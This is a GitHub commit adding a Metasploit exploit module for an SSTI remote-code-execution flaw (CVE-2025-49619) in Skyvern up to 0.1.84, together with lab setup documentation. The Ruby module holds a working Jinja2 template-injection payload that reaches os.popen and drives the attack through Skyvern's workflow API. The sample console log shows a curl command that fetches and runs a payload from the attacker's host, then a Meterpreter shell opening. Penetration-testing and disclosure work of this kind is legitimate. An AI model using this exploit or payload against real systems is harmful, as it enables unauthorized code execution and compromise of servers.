Skip to content

Commit ca14259

Browse files
committed
Module init
1 parent 8ab2591 commit ca14259

File tree

2 files changed

+356
-0
lines changed

2 files changed

+356
-0
lines changed
Lines changed: 220 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,220 @@
1+
## Vulnerable Application
2+
3+
Skyvern is browser-based automation tool integrated with AI and LLMs. It allows to create workflows, which can perform automation tasks based on LLMs. Version up to 0.1.84 is vulnerable to SSTI, which can lead to remote code execution. The application is available [here](https://github.com/Skyvern-AI/skyvern.git).
4+
5+
### Installation
6+
7+
1. `git clone https://github.com/Skyvern-AI/skyvern.git`
8+
2. `cd skyvern`
9+
3. `mv .env.example .env`
10+
4. `mv skyvern-frontend/.env.example skyvern-frontend/.env`
11+
5. Modify `docker-compose.yml`:
12+
```yaml
13+
services:
14+
postgres:
15+
image: postgres:14-alpine
16+
restart: always
17+
# comment out if you want to externally connect DB
18+
ports:
19+
- 5432:5432
20+
volumes:
21+
- ./postgres-data:/var/lib/postgresql/data
22+
environment:
23+
- PGDATA=/var/lib/postgresql/data/pgdata
24+
- POSTGRES_USER=skyvern
25+
- POSTGRES_PASSWORD=skyvern
26+
- POSTGRES_DB=skyvern
27+
healthcheck:
28+
test: ["CMD-SHELL", "pg_isready -U skyvern"]
29+
interval: 5s
30+
timeout: 5s
31+
retries: 5
32+
skyvern:
33+
image: public.ecr.aws/skyvern/skyvern:v0.1.84
34+
restart: on-failure
35+
env_file:
36+
- .env
37+
# comment out if you want to externally call skyvern API
38+
ports:
39+
- 8000:8000
40+
- 9222:9222 # for cdp browser forwarding
41+
volumes:
42+
- ./artifacts:/data/artifacts
43+
- ./videos:/data/videos
44+
- ./har:/data/har
45+
- ./log:/data/log
46+
- ./.streamlit:/app/.streamlit
47+
# Uncomment the following two lines if you want to connect to any local changes
48+
# - ./skyvern:/app/skyvern
49+
# - ./alembic:/app/alembic
50+
environment:
51+
- DATABASE_STRING=postgresql+psycopg://skyvern:skyvern@postgres:5432/skyvern
52+
- BROWSER_TYPE=chromium-headful
53+
- ENABLE_CODE_BLOCK=true
54+
# - BROWSER_TYPE=cdp-connect
55+
# Use this command to start Chrome with remote debugging:
56+
# "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --user-data-dir="C:\chrome-cdp-profile" --no-first-run --no-default-browser-check
57+
# /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --user-data-dir="/Users/yourusername/chrome-cdp-profile" --no-first-run --no-default-browser-check
58+
# - BROWSER_REMOTE_DEBUGGING_URL=http://host.docker.internal:9222/
59+
# =========================
60+
# LLM Settings - Recommended to use skyvern CLI, `skyvern init llm` to setup your LLM's
61+
# =========================
62+
# OpenAI Support:
63+
# If you want to use OpenAI as your LLM provider, uncomment the following lines and fill in your OpenAI API key.
64+
# - ENABLE_OPENAI=true
65+
# - LLM_KEY=OPENAI_GPT4O
66+
# - OPENAI_API_KEY=<your_openai_key>
67+
# Gemini Support:
68+
# Gemini is a new LLM provider that is currently in beta. You can use it by uncommenting the following lines and filling in your Gemini API key.
69+
# - LLM_KEY=GEMINI
70+
# - ENABLE_GEMINI=true
71+
# - GEMINI_API_KEY=YOUR_GEMINI_KEY
72+
# - LLM_KEY=GEMINI_2.5_PRO_PREVIEW_03_25
73+
# If you want to use other LLM provider, like azure and anthropic:
74+
# - ENABLE_ANTHROPIC=true
75+
# - LLM_KEY=ANTHROPIC_CLAUDE3.5_SONNET
76+
# - ANTHROPIC_API_KEY=<your_anthropic_key>
77+
# Microsoft Azure OpenAI support:
78+
# If you'd like to use Microsoft Azure OpenAI as your managed LLM service integration with Skyvern, use the environment variables below.
79+
# In your Microsoft Azure subscription, you will need to provision the OpenAI service and deploy a model, in order to utilize it.
80+
# 1. Login to the Azure Portal
81+
# 2. Create an Azure Resource Group
82+
# 3. Create an OpenAI resource in the Resource Group (choose a region and pricing tier)
83+
# 4. From the OpenAI resource's Overview page, open the "Azure AI Foundry" portal (click the "Explore Azure AI Foundry Portal" button)
84+
# 5. In Azure AI Foundry, click "Shared Resources" --> "Deployments"
85+
# 6. Click "Deploy Model" --> "Deploy Base Model" --> select a model (specify this model "Deployment Name" value for the AZURE_DEPLOYMENT variable below)
86+
# - ENABLE_AZURE=true
87+
# - LLM_KEY=AZURE_OPENAI # Leave this value static, don't change it
88+
# - AZURE_DEPLOYMENT=<your_azure_deployment> # Use the OpenAI model "Deployment Name" that you deployed, using the steps above
89+
# - AZURE_API_KEY=<your_azure_api_key> # Copy and paste Key1 or Key2 from the OpenAI resource in Azure Portal
90+
# - AZURE_API_BASE=<your_azure_api_base> # Copy and paste the "Endpoint" from the OpenAI resource in Azure Portal (eg. https://xyzxyzxyz.openai.azure.com/)
91+
# - AZURE_API_VERSION=<your_azure_api_version> # Specify a valid Azure OpenAI data-plane API version (eg. 2024-08-01-preview) Docs: https://learn.microsoft.com/en-us/azure/ai-services/openai/reference
92+
# Amazon Bedrock Support:
93+
# Amazon Bedrock is a managed service that enables you to invoke LLMs and bill them through your AWS account.
94+
# To use Amazon Bedrock as the LLM provider for Skyvern, specify the following environment variables.
95+
# 1. In the AWS IAM console, create a new AWS IAM User (name it whatever you want)
96+
# 2. Assign the "AmazonBedrockFullAccess" policy to the user
97+
# 3. Generate an IAM Access Key under the IAM User's Security Credentials tab
98+
# 4. In the Amazon Bedrock console, go to "Model Access"
99+
# 5. Click Modify Model Access button
100+
# 6. Enable "Claude 3.5 Sonnet v2" and save changes
101+
# - ENABLE_BEDROCK=true
102+
# - LLM_KEY=BEDROCK_ANTHROPIC_CLAUDE3.5_SONNET # This is the Claude 3.5 Sonnet "V2" model. Change to BEDROCK_ANTHROPIC_CLAUDE3.5_SONNET_V1 for the non-v2 version.
103+
# - AWS_REGION=us-west-2 # Replace this with a different AWS region, if you desire
104+
# - AWS_ACCESS_KEY_ID=FILL_ME_IN_PLEASE
105+
# - AWS_SECRET_ACCESS_KEY=FILL_ME_IN_PLEASE
106+
# Ollama Support:
107+
# Ollama is a local LLM provider that can be used to run models locally on your machine.
108+
# - LLM_KEY=OLLAMA
109+
# - ENABLE_OLLAMA=true
110+
# - OLLAMA_MODEL=qwen2.5:7b-instruct
111+
# - OLLAMA_SERVER_URL=http://host.docker.internal:11434
112+
# Open Router Support:
113+
# - ENABLE_OPENROUTER=true
114+
# - LLM_KEY=OPENROUTER
115+
# - OPENROUTER_API_KEY=<your_openrouter_api_key>
116+
# - OPENROUTER_MODEL=mistralai/mistral-small-3.1-24b-instruct
117+
# Groq Support:
118+
# - ENABLE_GROQ=true
119+
# - LLM_KEY=GROQ
120+
# - GROQ_API_KEY=<your_groq_api_key>
121+
# - GROQ_MODEL=llama-3.1-8b-instant
122+
123+
# Maximum tokens to use: (only set for OpenRouter aand Ollama)
124+
# - LLM_CONFIG_MAX_TOKENS=128000
125+
126+
# Bitwarden Settings
127+
# If you are looking to integrate Skyvern with a password manager (eg Bitwarden), you can use the following environment variables.
128+
# - BITWARDEN_SERVER=http://localhost # OPTIONAL IF YOU ARE SELF HOSTING BITWARDEN
129+
# - BITWARDEN_SERVER_PORT=8002 # OPTIONAL IF YOU ARE SELF HOSTING BITWARDEN
130+
# - BITWARDEN_CLIENT_ID=FILL_ME_IN_PLEASE
131+
# - BITWARDEN_CLIENT_SECRET=FILL_ME_IN_PLEASE
132+
# - BITWARDEN_MASTER_PASSWORD=FILL_ME_IN_PLEASE
133+
134+
# 1Password Integration
135+
# If you are looking to integrate Skyvern with 1Password, you can use the following environment variables.
136+
# OP_SERVICE_ACCOUNT_TOKEN=""
137+
depends_on:
138+
postgres:
139+
condition: service_healthy
140+
healthcheck:
141+
test: ["CMD", "test", "-f", "/app/.streamlit/secrets.toml"]
142+
interval: 5s
143+
timeout: 5s
144+
retries: 5
145+
skyvern-ui:
146+
image: public.ecr.aws/skyvern/skyvern-ui:latest
147+
restart: on-failure
148+
ports:
149+
- 8080:8080
150+
- 9090:9090
151+
volumes:
152+
- ./artifacts:/data/artifacts
153+
- ./videos:/data/videos
154+
- ./har:/data/har
155+
- ./.streamlit:/app/.streamlit
156+
env_file:
157+
- skyvern-frontend/.env
158+
environment: {}
159+
# - VITE_ENABLE_CODE_BLOCK=true
160+
# if you want to run skyvern on a remote server,
161+
# you need to change the host in VITE_WSS_BASE_URL and VITE_API_BASE_URL to match your server ip
162+
# If you're self-hosting this behind a dns, you'll want to set:
163+
# A route for the API: api.yourdomain.com -> localhost:8000
164+
# A route for the UI: yourdomain.com -> localhost:8080
165+
# A route for the artifact API: artifact.yourdomain.com -> localhost:9090 (maybe not needed)
166+
# - VITE_WSS_BASE_URL=ws://localhost:8000/api/v1
167+
# - VITE_ARTIFACT_API_BASE_URL=http://localhost:9090
168+
# - VITE_API_BASE_URL=http://localhost:8000/api/v1
169+
# - VITE_SKYVERN_API_KEY=<get this from "settings" in the Skyvern UI>
170+
depends_on:
171+
skyvern:
172+
condition: service_healthy
173+
```
174+
6. `docker-compose up`
175+
176+
177+
## Verification Steps
178+
Example steps in this format (is also in the PR):
179+
180+
1. Install the application
181+
2. Start msfconsole
182+
3. Do: `use linux/http/skyvern_ssti_cve_2025_49619`
183+
4. Set `rhost`,`rport`, `lhost`, `lport`
184+
5. Do: `set API_KEY [skyvern API key]`
185+
6. Do: `run`
186+
7. You should get a shell.
187+
188+
## Options
189+
190+
### API_KEY
191+
192+
The Skyvern uses API key to access API and manage the application. It is necessary to view, create and modify workflows. It can be acquired from UI interface.
193+
194+
## Scenarios
195+
196+
Vulnerable version is <=0.1.84.
197+
198+
### Version and OS
199+
200+
```
201+
msf6 exploit(linux/http/skyvern_ssti_cve_2025_49619) > run verbose=true
202+
[*] Command to run on remote host: curl -so ./SFDHeJURLqF http://192.168.168.183:8080/YtbemzlkZg8l1wkKWmIdEg;chmod +x ./SFDHeJURLqF;./SFDHeJURLqF&
203+
[*] Fetch handler listening on 192.168.168.183:8080
204+
[*] HTTP server started
205+
[*] Adding resource /YtbemzlkZg8l1wkKWmIdEg
206+
[*] Started reverse TCP handler on 192.168.168.183:4444
207+
[*] Client 192.168.168.146 requested /YtbemzlkZg8l1wkKWmIdEg
208+
[*] Sending payload to 192.168.168.146 (curl/7.88.1)
209+
[*] Transmitting intermediate stager...(126 bytes)
210+
[*] Sending stage (3045380 bytes) to 192.168.168.146
211+
[*] Meterpreter session 1 opened (192.168.168.183:4444 -> 192.168.168.146:48480) at 2025-06-23 10:04:13 +0200
212+
213+
meterpreter > sysinfo
214+
Computer : 172.18.0.3
215+
OS : Debian 12.10 (Linux 6.8.0-52-generic)
216+
Architecture : x64
217+
BuildTuple : x86_64-linux-musl
218+
Meterpreter : x64/linux
219+
220+
```
Lines changed: 136 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,136 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'Skyvern SSTI Remote Code Execution',
16+
'Description' => %q{
17+
This module exploits SSTI vulnerability in Skyvern<=0.1.84. The module requires API key to deliver requests and upload malicious workflow.
18+
},
19+
'License' => MSF_LICENSE,
20+
'Author' => [
21+
'Cristian Branet', # researcher
22+
'msutovsky-r7' # module dev
23+
],
24+
'References' => [
25+
[ 'EDB', '52335' ],
26+
[ 'URL', 'https://cristibtz.blog/posts/CVE-2025-49619/'],
27+
[ 'CVE', '2025-49619']
28+
],
29+
'Platform' => %w[linux],
30+
'Arch' => ARCH_CMD,
31+
'Targets' => [
32+
[
33+
'Linux Target',
34+
{
35+
'Platform' => %w[linux],
36+
'Arch' => ARCH_CMD
37+
}
38+
]
39+
],
40+
'DisclosureDate' => '2025-06-07',
41+
'DefaultTarget' => 0,
42+
'Notes' => {
43+
'Stability' => [CRASH_SAFE],
44+
'Reliability' => [REPEATABLE_SESSION],
45+
'SideEffects' => [IOC_IN_LOGS]
46+
}
47+
)
48+
)
49+
register_options([
50+
OptString.new('API_KEY', [true, 'API key for Skyvern', ''])
51+
])
52+
end
53+
54+
def create_workflow_json
55+
{
56+
title: Rex::Text.rand_text_alphanumeric(8),
57+
description: '',
58+
proxy_location: 'RESIDENTIAL',
59+
webhook_callback_url: '',
60+
persist_browser_session: false,
61+
model: nil,
62+
totp_verification_url: nil,
63+
workflow_definition: {
64+
parameters: [],
65+
blocks: [
66+
{
67+
label: 'block_1',
68+
continue_on_failure: false,
69+
block_type: 'task_v2',
70+
prompt: %<{% for x in ().__class__.__base__.__subclasses__() %}\n {% if 'warning' in x.__name__ %}\n {{ x()._module.__builtins__['__import__']('os').popen("#{payload.encoded}").read() }}\n {% endif %}\n{% endfor %}>,
71+
url: '',
72+
max_steps: 25,
73+
totp_identifier: nil,
74+
totp_verification_url: nil
75+
}
76+
]
77+
},
78+
is_saved_task: false
79+
}
80+
end
81+
82+
def create_workflow
83+
res = send_request_cgi({
84+
'method' => 'POST',
85+
'uri' => normalize_uri('/api/v1/workflows'),
86+
'headers' => { 'X-API-Key': datastore['API_KEY'] },
87+
'ctype' => 'application/json',
88+
'data' => create_workflow_json.to_json
89+
})
90+
fail_with(Failure::UnexpectedReply, 'Received unexpected response') unless res&.code == 200
91+
92+
res_json = res.get_json_document
93+
94+
@workflow_id = res_json.fetch('workflow_permanent_id', nil)
95+
96+
fail_with(Failure::Unknown, 'Failed to upload workflow') unless @workflow_id
97+
end
98+
99+
def trigger_workflow
100+
res = send_request_cgi({
101+
'method' => 'POST',
102+
'uri' => normalize_uri('/api/v1/workflows/', @workflow_id, '/run'),
103+
'headers' => { 'X-API-Key': datastore['API_KEY'] },
104+
'ctype' => 'application/json',
105+
'data' => { workflow_id: @workflow_id }.to_json
106+
})
107+
108+
fail_with(Failure::UnexpectedReply, 'Received unexpected response') unless res&.code == 200
109+
110+
res_json = res.get_json_document
111+
112+
fail_with(Failure::Unknown, 'Failed to upload workflow') unless res_json.fetch('workflow_id', nil) || res_json.fetch('workflow_run_id', nil)
113+
end
114+
115+
def check
116+
res = send_request_cgi({
117+
'method' => 'GET',
118+
'uri' => normalize_uri('/api/v1/workflows'),
119+
'headers' => { 'X-API-Key': datastore['API_KEY'] }
120+
})
121+
122+
return Exploit::CheckCode::Safe('Target is probably not Skyvern') unless res&.code == 200
123+
124+
res_json = res.get_json_document
125+
126+
return Exploit::CheckCode::Unknown('Failed to get additional information - target is either not Skyvern or you used incorrect API key') unless res_json
127+
128+
Exploit::CheckCode::Detected('Target is Skyvern')
129+
end
130+
131+
def exploit
132+
create_workflow
133+
trigger_workflow
134+
end
135+
136+
end

0 commit comments

Comments
 (0)